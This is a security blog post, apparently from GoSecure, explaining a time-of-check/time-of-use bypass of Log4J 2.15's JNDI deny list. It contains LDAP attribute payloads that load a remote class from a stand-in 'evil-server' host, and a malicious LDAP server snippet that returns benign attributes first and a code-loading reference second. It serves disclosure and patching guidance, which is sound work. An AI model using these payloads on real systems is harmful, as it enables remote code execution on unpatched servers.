JndiManager
).Version affected
Before we dive into the code, we should clarify that only Log4J version 2.15 and below are vulnerable and only if lookups are enabled for backward compatibility. The JNDI lookup feature was still included in 2.15 and additional checks were made to prevent malicious LDAP attributes when the feature is enabled. These new validations fell short due to a Time of Check, Time of Use vulnerability (TOCTOU).JndiManager validations
The class JndiManager is wrapping the lookup for JNDI which can cause some unexpected code execution specifically if RMI, IIOP or LDAP are used. In Log4J 2.15, RMI and IIOP are not included in the protocol allowlist verification leaving only the LDAP protocol to be used. Multiples LDAP attribute combinations can be used to trigger code execution. Here are two combinations as described in RFC2713.- Factory class
- javaClassName: PayloadObject
- javaCodebase:
http://evil-server/
- javaFactory: Log4jRCE
Log4jRCE
is downloaded from http://evil-server/Log4jRCE.class
and instantiated.
- Serializedobject
- javaClassName: MaliciousGadget
- javaSerializedData: ACED01A[….]
- javaCodeBase:
http://evil-server/
javaSerializedData
.
When Log4J received the report for the JNDI lookup injection they decided to validate the LDAP entries fetched. For this reason, the name “javaSerializedData”, “javaClassName”, “javaReferenceAddress” and “javaFactory” were added to an attributes deny list in JndiManager. JndiManager.java
Map<String, Attribute> attributeMap = new HashMap<>();
NamingEnumeration<? extends Attribute> enumeration = attributes.getAll();
while (enumeration.hasMore()) {
Attribute attribute = enumeration.next();
attributeMap.put(attribute.getID(), attribute);
}
Attribute classNameAttr = attributeMap.get(CLASS_NAME);
if (attributeMap.get(SERIALIZED_DATA) != null) {
if (classNameAttr != null) {
String className = classNameAttr.get().toString();
if (!allowedClasses.contains(className)) {
LOGGER.warn("Deserialization of {} is not allowed", className);
return null;
}
} else {
LOGGER.warn("No class name provided for {}", name);
return null;
}
} else if (attributeMap.get(REFERENCE_ADDRESS) != null
|| attributeMap.get(OBJECT_FACTORY) != null) {
LOGGER.warn("Referenceable class is not allowed for {}", name);
return null;
[...]
} catch (URISyntaxException ex) {
// This is OK.
}
return (T) this.context.lookup(name);
Ref : Change for LOG4J2-3201
The Bypass
The logic, unfortunately, is flawed and it can be bypassed by performing a Time of Check, Time of Use (TOCTOU) attack. You might have found it in the previous code snippet. Assuming an LDAP entry is fetched using the special expression, the wrapper JndiManager will first load the entry with the method DirContext.getAttributes().Attributes attributes = this.context.getAttributes(name);
Ref : JndiManager.java#L237 If the entry has no risky attribute, the wrapper proceeds to fetch the entry again. The method used here in the final fetch is DirContext.lookup().
return (T) this.context.lookup(name);
Ref: JndiManager.java#L273An attacker can create a server that would return regular LDAP attributes (CN, SN, UID, etc.) on the first request and on the second one, return attributes that would trigger Java code execution.
Sequence diagram illustrating the attack |
if(<send malicious entry>) { //Second fetch
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
}
else { //First fetch
e.addAttribute("cn", "Test");
e.addAttribute("sn", "test");
e.addAttribute("uid", "test");
e.addAttribute("telephoneNumber", "123");
}
Conclusion
If you update your Log4J library to 2.15, it will not be enough to mitigate all potential remote code execution. At the moment of this writing, 2.17 is the recommended version. Make sure to read the official Log4J advisory page to get the latest update on the vulnerability. It is worth noting that two other vulnerabilities were found on Log4J 2.15: a Denial of Service (DOS) with${ctx}
expression and a hostname parsing validation bypass that brings back the remote code execution (RCE) vector.
References
- Official Log4J advisory page
- Log4Shell Update: Severity Upgraded 3.7 -> 9.0 for Second log4j Vulnerability (CVE-2021-45046)
Timeline
- December 10: Log4j 2.15.0 release (Vulnerable to TOCTOU)
- December 13: Log4j 2.16.0 release (JNDI fully disabled)
- December 16: Vulnerability reported by Tony Torralba and Alvaro Muñoz (Ref)
- December 16: Vulnerability reported by GoSecure
- December 17: Log4J 2.15 severity raised from 3.7 to 9.0
- December 18: Log4j 2.17.0 release
- December 20: Received confirmation that the Log4J team is aware of the TOCTOU.
This blog was originally posted on GoSecure blog.
No comments:
Post a Comment